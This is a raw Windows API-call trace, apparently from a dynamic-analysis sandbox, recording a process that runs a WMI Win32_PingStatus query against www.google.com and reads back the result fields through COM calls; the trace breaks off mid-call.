[0140.033] WbemLocator:IUnknown:QueryInterface (in: This=0x5358cc, riid=0x59eecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59eecb0 | out: ppvObject=0x59eecb0*=0x4f43820) returned 0x0 [0140.033] WbemLocator:IUnknown:Release (This=0x5358cc) returned 0x1 [0140.033] IWbemServices:ExecQuery (in: This=0x4f43820, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.google.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59eef1c | out: ppEnum=0x59eef1c*=0x4af298) returned 0x0 [0140.079] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eece8 | out: ppvObject=0x59eece8*=0x4af29c) returned 0x0 [0140.079] IClientSecurity:QueryBlanket (in: This=0x4af29c, pProxy=0x4af298, pAuthnSvc=0x59eed38, pAuthzSvc=0x59eed34, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30, pImpLevel=0x59eed20, pAuthInfo=0x59eed24, pCapabilites=0x59eed28 | out: pAuthnSvc=0x59eed38*=0xa, pAuthzSvc=0x59eed34*=0x0, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30*=0x6, pImpLevel=0x59eed20*=0x2, pAuthInfo=0x59eed24, pCapabilites=0x59eed28*=0x1) returned 0x0 [0140.079] IUnknown:Release (This=0x4af29c) returned 0x1 [0140.079] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecdc | out: ppvObject=0x59eecdc*=0x5356ec) returned 0x0 [0140.079] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecc8 | out: ppvObject=0x59eecc8*=0x4af29c) returned 0x0 [0140.079] IClientSecurity:SetBlanket (This=0x4af29c, pProxy=0x4af298, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.118] IUnknown:Release (This=0x4af29c) returned 0x2 [0140.118] WbemLocator:IUnknown:Release (This=0x5356ec) returned 0x1 [0140.118] CoTaskMemFree (pv=0x4f3e3b0) [0140.118] IUnknown:AddRef (This=0x4af298) returned 0x2 [0140.119] CoGetContextToken (in: pToken=0x59ee208 | out: pToken=0x59ee208) returned 0x0 [0140.119] CoGetContextToken (in: pToken=0x59ee61c | out: pToken=0x59ee61c) returned 0x0 [0140.119] IUnknown:QueryInterface (in: This=0x4af298, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5b4 | out: ppvObject=0x59ee5b4*=0x5356d4) returned 0x0 [0140.119] WbemLocator:IRpcOptions:Query (in: This=0x5356d4, pPrx=0x4f38a78, dwProperty=2, pdwValue=0x59ee6a8 | out: pdwValue=0x59ee6a8) returned 0x80004002 [0140.119] WbemLocator:IUnknown:Release (This=0x5356d4) returned 0x2 [0140.120] CoGetContextToken (in: pToken=0x59eebec | out: pToken=0x59eebec) returned 0x0 [0140.120] CoGetContextToken (in: pToken=0x59eeb4c | out: pToken=0x59eeb4c) returned 0x0 [0140.120] IUnknown:QueryInterface (in: This=0x4af298, riid=0x59eec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eeae8 | out: ppvObject=0x59eeae8*=0x4af298) returned 0x0 [0140.120] IUnknown:Release (This=0x4af298) returned 0x2 [0140.120] WbemLocator:IUnknown:Release (This=0x4f43820) returned 0x0 [0140.120] SysStringLen (param_1=0x0) returned 0x0 [0140.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef68 | out: puCount=0x59eef68*=0x2) returned 0x0 [0140.120] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0x0, pszText=0x0 | out: puBuffLength=0x59eef64*=0xf, pszText=0x0) returned 0x0 [0140.121] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.121] CoGetContextToken (in: pToken=0x59eedbc | out: pToken=0x59eedbc) returned 0x0 [0140.121] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef74 | out: ppEnum=0x59eef74*=0x4af360) returned 0x0 [0140.235] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee30 | out: ppvObject=0x59eee30*=0x4af364) returned 0x0 [0140.235] IClientSecurity:QueryBlanket (in: This=0x4af364, pProxy=0x4af360, pAuthnSvc=0x59eee80, pAuthzSvc=0x59eee7c, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78, pImpLevel=0x59eee68, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70 | out: pAuthnSvc=0x59eee80*=0xa, pAuthzSvc=0x59eee7c*=0x0, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78*=0x6, pImpLevel=0x59eee68*=0x2, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70*=0x1) returned 0x0 [0140.235] IUnknown:Release (This=0x4af364) returned 0x1 [0140.235] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee24 | out: ppvObject=0x59eee24*=0x5358cc) returned 0x0 [0140.235] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee10 | out: ppvObject=0x59eee10*=0x4af364) returned 0x0 [0140.236] IClientSecurity:SetBlanket (This=0x4af364, pProxy=0x4af360, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.337] IUnknown:Release (This=0x4af364) returned 0x2 [0140.337] WbemLocator:IUnknown:Release (This=0x5358cc) returned 0x1 [0140.337] CoTaskMemFree (pv=0x4f3e2f0) [0140.337] IUnknown:AddRef (This=0x4af360) returned 0x2 [0140.338] CoGetContextToken (in: pToken=0x59ee340 | out: pToken=0x59ee340) returned 0x0 [0140.338] CoGetContextToken (in: pToken=0x59ee754 | out: pToken=0x59ee754) returned 0x0 [0140.338] IUnknown:QueryInterface (in: This=0x4af360, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6ec | out: ppvObject=0x59ee6ec*=0x5358b4) returned 0x0 [0140.338] WbemLocator:IRpcOptions:Query (in: This=0x5358b4, pPrx=0x4f38b08, dwProperty=2, pdwValue=0x59ee7e0 | out: pdwValue=0x59ee7e0) returned 0x80004002 [0140.338] WbemLocator:IUnknown:Release (This=0x5358b4) returned 0x2 [0140.338] CoGetContextToken (in: pToken=0x59eed24 | out: pToken=0x59eed24) returned 0x0 [0140.338] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0140.338] IUnknown:QueryInterface (in: This=0x4af360, riid=0x59eed54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec20 | out: ppvObject=0x59eec20*=0x4af360) returned 0x0 [0140.338] IUnknown:Release (This=0x4af360) returned 0x2 [0140.338] SysStringLen (param_1=0x0) returned 0x0 [0140.339] IEnumWbemClassObject:Reset (This=0x4af360) returned 0x0 [0140.352] CoTaskMemAlloc (cb=0x4) returned 0x4f35d48 [0140.352] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f35d48, puReturned=0x245fb38 | out: apObjects=0x4f35d48*=0x4f432d8, puReturned=0x245fb38*=0x1) returned 0x0 [0140.375] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5cc | out: ppvObject=0x59ee5cc*=0x4f432d8) returned 0x0 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee580 | out: ppvObject=0x59ee580*=0x0) returned 0x80004002 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee3a8 | out: ppvObject=0x59ee3a8*=0x0) returned 0x80004002 [0140.376] IUnknown:AddRef (This=0x4f432d8) returned 0x3 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59ededc | out: ppvObject=0x59ededc*=0x0) returned 0x80004002 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede8c | out: ppvObject=0x59ede8c*=0x0) returned 0x80004002 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede98 | out: ppvObject=0x59ede98*=0x4f432dc) returned 0x0 [0140.376] IMarshal:GetUnmarshalClass (in: This=0x4f432dc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59edea0 | out: pCid=0x59edea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.376] IUnknown:Release (This=0x4f432dc) returned 0x3 [0140.376] CoGetContextToken (in: pToken=0x59edef8 | out: pToken=0x59edef8) returned 0x0 [0140.376] CoGetContextToken (in: pToken=0x59ee30c | out: pToken=0x59ee30c) returned 0x0 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee38c | out: ppvObject=0x59ee38c*=0x0) returned 0x80004002 [0140.376] IUnknown:Release (This=0x4f432d8) returned 0x2 [0140.376] CoGetContextToken (in: pToken=0x59ee8f4 | out: pToken=0x59ee8f4) returned 0x0 [0140.376] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.376] IUnknown:QueryInterface (in: This=0x4f432d8, riid=0x59ee924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee920 | out: ppvObject=0x59ee920*=0x4f432d8) returned 0x0 [0140.377] IUnknown:AddRef (This=0x4f432d8) returned 0x4 [0140.377] IUnknown:Release (This=0x4f432d8) returned 0x3 [0140.377] IUnknown:Release (This=0x4f432d8) returned 0x2 [0140.377] CoTaskMemFree (pv=0x4f35d48) [0140.377] CoGetContextToken (in: pToken=0x59eec64 | out: pToken=0x59eec64) returned 0x0 [0140.377] IUnknown:AddRef (This=0x4f432d8) returned 0x3 [0140.377] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59eef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefe4*=0, plFlavor=0x59eefe0*=0 | out: pVal=0x59eef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59eefe4*=3, plFlavor=0x59eefe0*=64) returned 0x0 [0140.377] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59eef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefcc*=0, plFlavor=0x59eefc8*=0 | out: pVal=0x59eef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59eefcc*=8, plFlavor=0x59eefc8*=64) returned 0x0 [0140.377] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.378] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.378] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0140.378] SetEvent (hEvent=0x3f0) returned 1 [0140.378] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eef20*=0x4e4, lpdwindex=0x59eed44 | out: lpdwindex=0x59eed44) returned 0x0 [0140.382] CoGetContextToken (in: pToken=0x59eedf4 | out: pToken=0x59eedf4) returned 0x0 [0140.382] CoGetContextToken (in: pToken=0x59eed54 | out: pToken=0x59eed54) returned 0x0 [0140.382] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x59eee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4da740) returned 0x0 [0140.382] WbemDefPath:IUnknown:AddRef (This=0x4da740) returned 0x3 [0140.382] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x2 [0140.382] WbemDefPath:IWbemPath:SetText (This=0x4da740, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefa0 | out: puCount=0x59eefa0*=0x2) returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0x0, pszText=0x0 | out: puBuffLength=0x59eef9c*=0xf, pszText=0x0) returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0140.382] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.382] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460504*=0, plFlavor=0x2460508*=0 | out: pVal=0x59eef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2460504*=8, plFlavor=0x2460508*=0) returned 0x0 [0140.383] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.383] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.383] IWbemClassObject:Get (in: This=0x4f432d8, wszName="Address", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460504*=8, plFlavor=0x2460508*=0 | out: pVal=0x59eef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2460504*=8, plFlavor=0x2460508*=0) returned 0x0 [0140.383] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.383] SysStringByteLen (bstr="www.google.com") returned 0x1c [0140.383] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0140.383] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0140.383] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.383] IWbemClassObject:Get (in: This=0x4f432d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24605c0*=0, plFlavor=0x24605c4*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24605c0*=19, plFlavor=0x24605c4*=0) returned 0x0 [0140.384] IWbemClassObject:Get (in: This=0x4f432d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24605c0*=19, plFlavor=0x24605c4*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24605c0*=19, plFlavor=0x24605c4*=0) returned 0x0 [0140.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0140.384] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0140.384] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.384] IWbemClassObject:Get (in: This=0x4f432d8, wszName="StatusCode", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460654*=0, plFlavor=0x2460658*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460654*=19, plFlavor=0x2460658*=0) returned 0x0 [0140.384] IWbemClassObject:Get (in: This=0x4f432d8, wszName="StatusCode", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460654*=19, plFlavor=0x2460658*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460654*=19, plFlavor=0x2460658*=0) returned 0x0 [0140.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0140.386] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0140.386] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.386] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460b50*=0, plFlavor=0x2460b54*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2460b50*=8, plFlavor=0x2460b54*=64) returned 0x0 [0140.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.386] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460b50*=8, plFlavor=0x2460b54*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2460b50*=8, plFlavor=0x2460b54*=64) returned 0x0 [0140.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.386] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0140.386] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0140.386] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.386] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460bec*=0, plFlavor=0x2460bf0*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2460bec*=8, plFlavor=0x2460bf0*=64) returned 0x0 [0140.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.386] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460bec*=8, plFlavor=0x2460bf0*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2460bec*=8, plFlavor=0x2460bf0*=64) returned 0x0 [0140.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0140.387] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0140.387] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.387] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460d48*=0, plFlavor=0x2460d4c*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507480*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b208, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2460d48*=8200, plFlavor=0x2460d4c*=64) returned 0x0 [0140.387] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2460d48*=8200, plFlavor=0x2460d4c*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b208, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2460d48*=8200, plFlavor=0x2460d4c*=64) returned 0x0 [0140.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0140.387] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0140.387] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.387] IWbemClassObject:Get (in: This=0x4f432d8, 